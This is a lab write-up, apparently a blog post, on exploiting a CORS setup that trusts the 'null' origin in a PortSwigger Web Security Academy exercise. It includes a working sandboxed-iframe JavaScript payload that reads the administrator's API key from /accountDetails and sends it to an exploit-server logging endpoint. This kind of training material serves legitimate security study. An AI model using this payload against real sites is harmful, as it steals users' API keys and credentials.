CORS Vulnerability with Null Origin

Reflected origin lab conquered – now, let’s look at when the server side accepts a null origin. Why would a developer ever allow server side to accept a null origin? Sometimes web applications need to use other protocols (file:// for example) to access local files. This could be due to an offline access requirement as well. Additionally, there are some legacy IOT devices that don’t send proper origin headers. Regardless, accepting a ‘null’ origin header can allow an attacker to navigate around CORS and is something to be avoided if possible!

What is CORS? – Check the previous lab for additional detail.

Labs

Lab: CORS vulnerability with trusted null origin

https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack

For this lab, this website has an insecure CORS configuration in that it trusts the “null” origin. We meed to craft some JS that can harvest the administrator’s API Key and send it to our logging mechanism so that we can harvest and submit to solve the lab.

Step 1: Craft a payload that works against ourselves. We can log in with own creds (notice the My account and the creds are provided in the lab).

screenshot showing the lab page with the exploit serer and submit solution buttons

Also, notice we have access to the exploit server.

Step 2: Once we login, we can see our API Key:

showing the account page with the attackers username and api key

Looking in Burp, we can see that this lab has the same /accountDetails endpoint as the last lab:

burp showing hte /accountDetails endpoint

All we have to do is get Administrator to open a payload just like last lab.

Step 3: Craft the payload. It should be essentially the same as the previous lab, right?

<script>
fetch('https://<lab>.web-security-academy.net/accountDetails', {
  method: 'GET',
  credentials: 'include',
  headers: {
    'Origin': 'null'   // this was the exploit server in the last lab <----------
  }
})
  .then(response => response.json())
  .then(data => {
    const apiKey = data.apikey;
    fetch(`https://exploit-<exploit>.exploit-server.net/log?apiKey=${apiKey}`);
  });
</script>

In the previous lab, the server reflected the Origin header from the request as the Access-Control-Allow-Origin header in the response. For this lab, this approach won’t work – but let’s proceed with it for now.

Step 4: Place on exploit server and test on self:

script showing the attempt at setting the null origin header

View exploit and then check Access log

log showing no api key - payload did not work

No luck!

Step 5: Troubleshoot. Let’s look in the proxy log. Here we can see the call that was made from client side to try and get the details. In fact, it did get the details from the /accountDetails endpoint, but the Same-Origin Policy (SOP) within the browser prevented the usage of the response within the JS delivered from the exploit server because the Access-Control-Allow-Origin header is missing!

/accountDetails response with no access-control-allow-origin header in the response

Send to Repeater – try sending with a null origin and see if we get a reflection

repeater showing the access-control-allow-origin header is set to null

So, why did our payload not work?

  • Fetch Standard: https://fetch.spec.whatwg.org/#origin-header
  • XHR standard: https://xhr.spec.whatwg.org/

Essentially, both set forth the standard that the browser is going to force set the origin on the request to the actual origin of the request. This is why we get the null ACAO header when we send the request from Burp, but we don’t get the ACAO header when trying toview the actual exploit.

So, how do we get past this? What mechanism is there for allowing the purposeful setting of the Origin header on request to ‘null’?

Enter the iframe.

<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://<lab>.web-security-academy.net/accountDetails', {
      method: 'GET',
      credentials: 'include'
    })
    .then(response => response.json())
    .then(data => {
      const apiKey = data.apikey;
      fetch('https://exploit-<exploit>.exploit-server.net/log?apiKey=' + apiKey);
    });
  </script>
"></iframe>

Iframe sandox: https://html.spec.whatwg.org/multipage/browsers.html#attr-iframe-sandbox-allow-same-origin

Now, this is a BRUTAL read – It’s a speghetti bowl of hyperlinks. Essentially, what it comes down to is that if you specify the sandbox attribute on the iframe it either needs to have the allow-same-origin attribute set or the origin header will get set to ‘null’ (which is exactly what we need).

Note: We do have to include the allow-scripts value on the sandbox attribute in order to allow the contained JS to execute.

Step 6: Test again

iframe payload with sandbox having allow-scripts but not havin allow-same-origin set

Store -> View Exploit -> Access Log

the payload successfully sent the api key to the /log endpoint on the exploit server

And boom goes the dynamite. We have the API Key when testing against myself.

Step 7: Send to victim and solve!

the log showing the administrators api key

We can see the internal (to the lab) IP address of the administrator account executing the delivered payload. Copy off the key and submit!

congratulations, you solved the lab! screenshot

Conclusion

CORS misconfigurations like accepting a null origin are sneaky but common vulnerabilities that can lead to serious data leaks if exploited. By understanding how to identify and abuse these flaws, it can allow for easy CORS bypasses. One person’s misconfiguration is another person’s bounty!

From a defense standpoint, the converse is true. Understanding these vulnerabilities is key in shoring up the defenses.

Happy Hacking!

Leave a Reply